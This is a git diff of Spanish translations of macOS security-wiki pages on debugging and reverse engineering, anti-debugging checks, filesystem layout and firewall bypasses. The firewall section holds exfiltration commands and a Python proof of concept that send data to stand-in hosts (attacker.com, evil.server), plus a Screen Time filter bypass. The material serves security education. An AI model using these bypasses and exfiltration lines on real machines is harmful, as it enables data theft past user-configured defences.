Los parámetros que esta función espera son:
- El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que debe recibir el mensaje**". O más simplemente, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto.
-- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, esto es solo el **nombre del método.**
-- Los parámetros restantes son cualquier **valor que requiera el método** (op).
+- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, este es solo el **nombre del método.**
+- Los parámetros restantes son cualquier **valor que sea requerido por el método** (op).
Vea cómo **obtener esta información fácilmente con `lldb` en ARM64** en esta página:
@@ -135,14 +135,14 @@ arm64-basic-assembly.md
x64:
| **Argumento** | **Registro** | **(para) objc_msgSend** |
-| ------------------| -------------------------------------------------------------- | ------------------------------------------------------ |
+| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
| **2do argumento** | **rsi** | **op: nombre del método** |
-| **3er argumento** | **rdx** | **1er argumento al método** |
-| **4to argumento** | **rcx** | **2do argumento al método** |
-| **5to argumento** | **r8** | **3er argumento al método** |
-| **6to argumento** | **r9** | **4to argumento al método** |
-| **7mo+ argumento** |
rsp+ (en la pila)
| **5to+ argumento al método** |
+| **3er argumento** | **rdx** | **1er argumento para el método** |
+| **4to argumento** | **rcx** | **2do argumento para el método** |
+| **5to argumento** | **r8** | **3er argumento para el método** |
+| **6to argumento** | **r9** | **4to argumento para el método** |
+| **7mo+ argumento** |
rsp+ (en la pila)
| **5to+ argumento para el método** |
### Volcar metadatos de ObjectiveC
@@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
Puedes encontrar más información sobre la [**información almacenada en esta sección en esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
-Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). Los **símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco clara, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original:
+Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). **Los símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco legible, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -218,7 +218,7 @@ macOS expone algunas APIs interesantes que brindan información sobre los proces
### Stackshot y microstackshots
-**Stackshotting** es una técnica utilizada para capturar el estado de los procesos, incluidos los stacks de llamadas de todos los hilos en ejecución. Esto es particularmente útil para la depuración, análisis de rendimiento y comprensión del comportamiento del sistema en un momento específico. En iOS y macOS, el stackshotting se puede realizar utilizando varias herramientas y métodos como las herramientas **`sample`** y **`spindump`**.
+**Stackshotting** es una técnica utilizada para capturar el estado de los procesos, incluidos los stacks de llamadas de todos los hilos en ejecución. Esto es particularmente útil para la depuración, el análisis de rendimiento y la comprensión del comportamiento del sistema en un momento específico. En iOS y macOS, el stackshotting se puede realizar utilizando varias herramientas y métodos como las herramientas **`sample`** y **`spindump`**.
### Sysdiagnose
@@ -262,16 +262,16 @@ En el panel derecho puede ver información interesante como el **historial de na
### dtrace
-Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocadas a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema.
+Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocados a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema.
-DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace, que solo está disponible para el usuario root.
+DTrace utiliza la función **`dtrace_probe_create`** para crear un probe para cada llamada al sistema. Estos probes pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace que solo está disponible para el usuario root.
> [!TIP]
> Para habilitar Dtrace sin deshabilitar completamente la protección SIP, podría ejecutar en modo de recuperación: `csrutil enable --without dtrace`
>
> También puede **`dtrace`** o **`dtruss`** binarios que **ha compilado**.
-Las sondas disponibles de dtrace se pueden obtener con:
+Los probes disponibles de dtrace se pueden obtener con:
```bash
dtrace -l | head
ID PROVIDER MODULE FUNCTION NAME
@@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
-El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
+El nombre de la sonda consta de cuatro partes: el proveedor, módulo, función y nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se disparen, necesitaremos usar el lenguaje D.
@@ -339,18 +339,18 @@ dtruss -c -p 1000 #get syscalls of PID 1000
```
### kdebug
-Es una herramienta de trazado del kernel. Los códigos documentados se pueden encontrar en **`/usr/share/misc/trace.codes`**.
+Es una instalación de trazado del kernel. Los códigos documentados se pueden encontrar en **`/usr/share/misc/trace.codes`**.
-Herramientas como `latency`, `sc_usage`, `fs_usage` y `trace` la utilizan internamente.
+Herramientas como `latency`, `sc_usage`, `fs_usage` y `trace` lo utilizan internamente.
Para interactuar con `kdebug`, se usa `sysctl` sobre el espacio de nombres `kern.kdebug` y los MIBs que se pueden encontrar en `sys/sysctl.h`, teniendo las funciones implementadas en `bsd/kern/kdebug.c`.
Para interactuar con kdebug con un cliente personalizado, estos son generalmente los pasos:
- Eliminar configuraciones existentes con KERN_KDSETREMOVE
-- Establecer traza con KERN_KDSETBUF y KERN_KDSETUP
+- Establecer trazado con KERN_KDSETBUF y KERN_KDSETUP
- Usar KERN_KDGETBUF para obtener el número de entradas del búfer
-- Sacar el propio cliente de la traza con KERN_KDPINDEX
+- Obtener el propio cliente del trazado con KERN_KDPINDEX
- Habilitar el trazado con KERN_KDENABLE
- Leer el búfer llamando a KERN_KDREADTR
- Para emparejar cada hilo con su proceso, llamar a KERN_KDTHRMAP.
@@ -377,9 +377,9 @@ Esto se utiliza para hacer un perfilado a nivel de kernel y está construido uti
Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código `Kdebug` y la dirección del marco del kernel que llama. Si el código `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (ver `osfmk/kperf/action.h` para las opciones).
-Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Estos códigos se pueden encontrar en `osfmk/kperf/kperfbsd.c`.
+Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Este código se puede encontrar en `osfmk/kperf/kperfbsd.c`.
-Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre los contadores de rendimiento de la máquina.
+Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre contadores de rendimiento de la máquina.
### ProcessMonitor
@@ -388,7 +388,7 @@ Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que propor
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/) es una herramienta que imprime las relaciones entre procesos.\
-Necesitas monitorear tu Mac con un comando como **`sudo eslogger fork exec rename create > cap.json`** (el terminal que lanza esto requiere FDA). Y luego puedes cargar el json en esta herramienta para ver todas las relaciones:
+Necesitas monitorear tu mac con un comando como **`sudo eslogger fork exec rename create > cap.json`** (el terminal que lanza esto requiere FDA). Y luego puedes cargar el json en esta herramienta para ver todas las relaciones:
@@ -438,9 +438,9 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Dentro de lldb, volcar un proceso con `process save-core`
-
(lldb) Comando
Descripción
run (r)
Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entry
Iniciar la ejecución deteniéndose en el punto de entrada
continue (c)
Continuar la ejecución del proceso depurado.
nexti (n / ni)
Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)
Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)
Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + c
Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)
b main #Cualquier función llamada main
b `main #Función principal del binario
b set -n main --shlib #Función principal del binario indicado
breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Interrumpir en todas las funciones de esa biblioteca
b -a 0x0000000100004bd9
br l #Lista de puntos de interrupción
br e/dis #Habilitar/Deshabilitar punto de interrupción
breakpoint delete
help
help breakpoint #Obtener ayuda sobre el comando de punto de interrupción
help memory write #Obtener ayuda para escribir en la memoria
Mostrar la memoria como una cadena terminada en nulo.
x/i
Mostrar la memoria como instrucción de ensamblador.
x/b
Mostrar la memoria como byte.
print object (po)
Esto imprimirá el objeto referenciado por el parámetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly
dis #Desensamblar la función actual
dis -n #Desensamblar función
dis -n -b #Desensamblar función dis -c 6 #Desensamblar 6 líneas dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra dis -p -c 4 # Comenzar en la dirección actual desensamblando
parray
parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sections
Imprimir el mapa de la memoria del proceso actual
image dump symtab
image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
+
(lldb) Comando
Descripción
run (r)
Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entry
Iniciar la ejecución deteniéndose en el punto de entrada
continue (c)
Continuar la ejecución del proceso depurado.
nexti (n / ni)
Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)
Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)
Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + c
Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)
b main #Cualquier función llamada main
b `main #Función principal del bin
b set -n main --shlib #Función principal del bin indicado
breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Romper en todas las funciones de esa biblioteca
b -a 0x0000000100004bd9
br l #Lista de puntos de interrupción
br e/dis #Habilitar/Deshabilitar punto de interrupción
breakpoint delete
help
help breakpoint #Obtener ayuda del comando breakpoint
help memory write #Obtener ayuda para escribir en la memoria
Mostrar la memoria como una cadena terminada en nulo.
x/i
Mostrar la memoria como instrucción de ensamblador.
x/b
Mostrar la memoria como byte.
print object (po)
Esto imprimirá el objeto referenciado por el parámetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly
dis #Desensamblar función actual
dis -n #Desensamblar función
dis -n -b #Desensamblar función dis -c 6 #Desensamblar 6 líneas dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra dis -p -c 4 # Comenzar en la dirección actual desensamblando
parray
parray 3 (char **)$x1 # Comprobar array de 3 componentes en el registro x1
image dump sections
Imprimir mapa de la memoria del proceso actual
image dump symtab
image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
-> [!NOTE]
+> [!TIP]
> Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz:
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@@ -450,18 +450,18 @@ settings set target.x86-disassembly-flavor intel
>
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
-### Análisis Anti-Dinámico
+### Análisis Dinámico Anti
#### Detección de VM
- El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM.
- Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`** algunos malwares intentan detectar si es una VM.
-- Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56).
+- Algunos malwares también pueden **detectar** si la máquina es **basada en VMware** según la dirección MAC (00:50:56).
- También es posible encontrar **si un proceso está siendo depurado** con un código simple como:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
- También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **previene** que un depurador se adjunte y trace.
- Puedes verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
-- Como se señaló en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
+- Como se señala en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT_DENY_ATTACH**_”
## Volcados de Núcleo
@@ -478,7 +478,7 @@ En esos casos, el volcado de núcleo se genera de acuerdo con `kern.corefile` sy
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
-ReportCrash **analiza procesos que fallan y guarda un informe de fallos en el disco**. Un informe de fallos contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un fallo.\
+ReportCrash **analiza procesos que fallan y guarda un informe de fallos en disco**. Un informe de fallos contiene información que puede **ayudar a un desarrollador a diagnosticar** la causa de un fallo.\
Para aplicaciones y otros procesos **que se ejecutan en el contexto de launchd por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda informes de fallos en `~/Library/Logs/DiagnosticReports/` del usuario.\
Para demonios, otros procesos **que se ejecutan en el contexto de launchd del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda informes de fallos en `/Library/Logs/DiagnosticReports` del sistema.
@@ -528,7 +528,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
sort -u recv.log > procs.txt
cat procs.txt
```
-O use `netstat` o `lsof`
+O usa `netstat` o `lsof`
### Libgmalloc
@@ -544,7 +544,7 @@ Funciona para herramientas de línea de comandos
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-Simplemente "**funciona"** con herramientas GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
+Simplemente "**funciona"** con herramientas GUI de macOS. Tenga en cuenta que algunas aplicaciones de macOS tienen requisitos específicos, como nombres de archivos únicos, la extensión correcta, necesidad de leer los archivos desde la sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Algunos ejemplos:
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
index 4a19b1889..2ffc53328 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
@@ -6,7 +6,7 @@
Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de firewall de macOS.
-### Abusando de nombres en la lista blanca
+### Abuso de nombres en la lista blanca
- Por ejemplo, llamar al malware con nombres de procesos bien conocidos de macOS como **`launchd`**
@@ -61,16 +61,70 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
-### A través de inyecciones de procesos
+### Inyección de procesos
Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías eludir las protecciones del firewall:
+
{{#ref}}
macos-proces-abuse/
{{#endref}}
+---
+
+## Vulnerabilidades recientes de bypass del firewall de macOS (2023-2025)
+
+### Bypass del filtro de contenido web (Tiempo de pantalla) – **CVE-2024-44206**
+En julio de 2024, Apple corrigió un error crítico en Safari/WebKit que rompía el “filtro de contenido web” a nivel del sistema utilizado por los controles parentales de Tiempo de pantalla.
+Una URI especialmente diseñada (por ejemplo, con “://” codificado en doble URL) no es reconocida por la ACL de Tiempo de pantalla, pero es aceptada por WebKit, por lo que la solicitud se envía sin filtrar. Cualquier proceso que pueda abrir una URL (incluido código en sandbox o no firmado) puede, por lo tanto, acceder a dominios que están explícitamente bloqueados por el usuario o un perfil MDM.
+
+Prueba práctica (sistema sin parches):
+```bash
+open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
+# if the patch is missing Safari will happily load the page
+```
+### Error de orden de reglas del filtro de paquetes (PF) en las primeras versiones de macOS 14 “Sonoma”
+Durante el ciclo beta de macOS 14, Apple introdujo una regresión en el envoltorio de espacio de usuario alrededor de **`pfctl`**.
+Las reglas que se añadieron con la palabra clave `quick` (utilizada por muchos interruptores de corte de VPN) fueron ignoradas silenciosamente, causando filtraciones de tráfico incluso cuando una GUI de VPN/firewall reportaba *bloqueado*. El error fue confirmado por varios proveedores de VPN y corregido en RC 2 (build 23A344).
+
+Verificación rápida de filtraciones:
+```bash
+pfctl -sr | grep quick # rules are present…
+sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
+```
+### Abusando de los servicios auxiliares firmados por Apple (heredado – pre-macOS 11.2)
+Antes de macOS 11.2, la **`ContentFilterExclusionList`** permitía ~50 binarios de Apple como **`nsurlsessiond`** y la App Store eludir todos los firewalls de filtro de socket implementados con el marco de Network Extension (LuLu, Little Snitch, etc.).
+El malware podía simplemente generar un proceso excluido—o inyectar código en él—y tunelizar su propio tráfico a través del socket ya permitido. Apple eliminó completamente la lista de exclusión en macOS 11.2, pero la técnica sigue siendo relevante en sistemas que no pueden ser actualizados.
+
+Ejemplo de prueba de concepto (pre-11.2):
+```python
+import subprocess, socket
+# Launch excluded App Store helper (path collapsed for clarity)
+subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
+# Connect through the inherited socket
+s = socket.create_connection(("evil.server", 443))
+s.send(b"exfil...")
+```
+---
+
+## Consejos de herramientas para macOS moderno
+
+1. Inspeccionar las reglas PF actuales que generan los firewalls GUI:
+```bash
+sudo pfctl -a com.apple/250.ApplicationFirewall -sr
+```
+2. Enumerar los binarios que ya tienen el privilegio *outgoing-network* (útil para piggy-backing):
+```bash
+codesign -d --entitlements :- /path/to/bin 2>/dev/null \
+| plutil -extract com.apple.security.network.client xml1 -o - -
+```
+3. Registrar programáticamente tu propio filtro de contenido de Network Extension en Objective-C/Swift.
+Un PoC mínimo sin root que reenvía paquetes a un socket local está disponible en el código fuente de **LuLu** de Patrick Wardle.
+
## Referencias
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
+-
+-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
index f357d3f8d..c96b47e4a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
@@ -9,27 +9,27 @@
- **/cores**: Si existe, se utiliza para almacenar volcados de núcleo
- **/dev**: Todo se trata como un archivo, por lo que puedes ver dispositivos de hardware almacenados aquí.
- **/etc**: Archivos de configuración
-- **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros aquí. Una carpeta Library existe en la raíz y en el directorio de cada usuario.
+- **/Library**: Se pueden encontrar muchas subcarpetas y archivos relacionados con preferencias, cachés y registros aquí. Existe una carpeta Library en la raíz y en el directorio de cada usuario.
- **/private**: No documentado, pero muchas de las carpetas mencionadas son enlaces simbólicos al directorio privado.
- **/sbin**: Binarios esenciales del sistema (relacionados con la administración)
-- **/System**: Archivo para hacer funcionar OS X. Aquí deberías encontrar principalmente solo archivos específicos de Apple (no de terceros).
+- **/System**: Archivos para hacer funcionar OS X. Aquí deberías encontrar principalmente archivos específicos de Apple (no de terceros).
- **/tmp**: Los archivos se eliminan después de 3 días (es un enlace simbólico a /private/tmp)
- **/Users**: Directorio personal para usuarios.
- **/usr**: Configuración y binarios del sistema
- **/var**: Archivos de registro
- **/Volumes**: Las unidades montadas aparecerán aquí.
-- **/.vol**: Al ejecutar `stat a.txt` obtienes algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` donde el primer número es el número de identificación del volumen donde existe el archivo y el segundo es el número de inode. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753`
+- **/.vol**: Al ejecutar `stat a.txt` obtienes algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` donde el primer número es el id del volumen donde existe el archivo y el segundo es el número de inode. Puedes acceder al contenido de este archivo a través de /.vol/ con esa información ejecutando `cat /.vol/16777223/7545753`
### Carpetas de Aplicaciones
-- **Las aplicaciones del sistema** se encuentran en `/System/Applications`
-- **Las aplicaciones instaladas** suelen estar en `/Applications` o en `~/Applications`
-- **Los datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario.
+- Las **aplicaciones del sistema** se encuentran en `/System/Applications`
+- Las aplicaciones **instaladas** suelen estar en `/Applications` o en `~/Applications`
+- Los **datos de la aplicación** se pueden encontrar en `/Library/Application Support` para las aplicaciones que se ejecutan como root y `~/Library/Application Support` para aplicaciones que se ejecutan como el usuario.
- Los **demonios** de aplicaciones de terceros que **necesitan ejecutarse como root** suelen estar en `/Library/PrivilegedHelperTools/`
- Las aplicaciones **sandboxed** están mapeadas en la carpeta `~/Library/Containers`. Cada aplicación tiene una carpeta nombrada de acuerdo con el ID del paquete de la aplicación (`com.apple.Safari`).
- El **núcleo** se encuentra en `/System/Library/Kernels/kernel`
-- **Las extensiones del núcleo de Apple** se encuentran en `/System/Library/Extensions`
-- **Las extensiones del núcleo de terceros** se almacenan en `/Library/Extensions`
+- Las **extensiones del núcleo de Apple** se encuentran en `/System/Library/Extensions`
+- Las **extensiones del núcleo de terceros** se almacenan en `/Library/Extensions`
### Archivos con Información Sensible
@@ -48,7 +48,7 @@ macos-installers-abuse.md
## Extensiones Específicas de OS X
- **`.dmg`**: Los archivos de imagen de disco de Apple son muy frecuentes para instaladores.
-- **`.kext`**: Debe seguir una estructura específica y es la versión de controlador de OS X. (es un paquete)
+- **`.kext`**: Debe seguir una estructura específica y es la versión de OS X de un controlador. (es un paquete)
- **`.plist`**: También conocido como lista de propiedades, almacena información en formato XML o binario.
- Puede ser XML o binario. Los binarios se pueden leer con:
- `defaults read config.plist`
@@ -58,7 +58,7 @@ macos-installers-abuse.md
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
- **`.app`**: Aplicaciones de Apple que siguen la estructura de directorio (es un paquete).
- **`.dylib`**: Bibliotecas dinámicas (como archivos DLL de Windows)
-- **`.pkg`**: Son lo mismo que xar (formato de archivo comprimido extensible). El comando de instalador se puede usar para instalar el contenido de estos archivos.
+- **`.pkg`**: Son lo mismo que xar (formato de archivo extensible). El comando de instalador se puede usar para instalar el contenido de estos archivos.
- **`.DS_Store`**: Este archivo está en cada directorio, guarda los atributos y personalizaciones del directorio.
- **`.Spotlight-V100`**: Esta carpeta aparece en el directorio raíz de cada volumen en el sistema.
- **`.metadata_never_index`**: Si este archivo está en la raíz de un volumen, Spotlight no indexará ese volumen.
@@ -75,14 +75,14 @@ macos-bundles.md
## Caché de Biblioteca Compartida de Dyld (SLC)
-En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, están **combinadas en un solo archivo**, llamado **caché compartida de dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido.
+En macOS (y iOS) todas las bibliotecas compartidas del sistema, como frameworks y dylibs, están **combinadas en un solo archivo**, llamado la **caché compartida de dyld**. Esto mejora el rendimiento, ya que el código se puede cargar más rápido.
Esto se encuentra en macOS en `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` y en versiones anteriores podrías encontrar la **caché compartida** en **`/System/Library/dyld/`**.\
En iOS puedes encontrarlas en **`/System/Library/Caches/com.apple.dyld/`**.
-Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché del núcleo, que se carga al inicio.
+Similar a la caché compartida de dyld, el núcleo y las extensiones del núcleo también se compilan en una caché del núcleo, que se carga en el momento del arranque.
-Para extraer las bibliotecas del único archivo de caché compartido de dylib, era posible usar el binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) que puede que no funcione hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
+Para extraer las bibliotecas del archivo único de la caché compartida de dylib, era posible usar el binario [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) que puede que no funcione hoy en día, pero también puedes usar [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -93,7 +93,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
# More options inside the readme
```
> [!TIP]
-> Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario dyld compartido a Hopper** y Hopper podrá identificar todas las bibliotecas y permitirte **seleccionar cuál** deseas investigar:
+> Ten en cuenta que incluso si la herramienta `dyld_shared_cache_util` no funciona, puedes pasar el **binario compartido de dyld a Hopper** y Hopper podrá identificar todas las bibliotecas y permitirte **seleccionar cuál** deseas investigar:
@@ -108,7 +108,7 @@ Algunos extractores no funcionarán ya que las dylibs están preenlazadas con di
Ten en cuenta que incluso si el SLC se desliza en el primer uso, todos los **procesos** utilizan la **misma copia**, lo que **elimina la protección ASLR** si el atacante pudo ejecutar procesos en el sistema. Esto fue explotado en el pasado y se solucionó con el paginador de región compartida.
-Los grupos de ramas son pequeñas dylibs Mach-O que crean pequeños espacios entre los mapeos de imágenes, haciendo imposible interponer las funciones.
+Los grupos de ramas son pequeñas dylibs de Mach-O que crean pequeños espacios entre los mapeos de imágenes, haciendo imposible interponer las funciones.
### Sobrescribir SLCs
@@ -121,13 +121,13 @@ Usando las variables de entorno:
### Permisos de Carpeta
-En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde **no tiene permiso de ejecución** **no podrá leer** el archivo.
+En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Así que, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde no tiene permiso de **ejecución** **no podrá leer** el archivo.
### Modificadores de Bandera
Hay algunas banderas que se pueden establecer en los archivos que harán que el archivo se comporte de manera diferente. Puedes **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /path/directory`
-- **`uchg`**: Conocida como la bandera **uchange**, **previene cualquier acción** que cambie o elimine el **archivo**. Para establecerla haz: `chflags uchg file.txt`
+- **`uchg`**: Conocida como la bandera **uchange**, **prevendrá cualquier acción** de cambiar o eliminar el **archivo**. Para establecerla haz: `chflags uchg file.txt`
- El usuario root podría **eliminar la bandera** y modificar el archivo.
- **`restricted`**: Esta bandera hace que el archivo esté **protegido por SIP** (no puedes agregar esta bandera a un archivo).
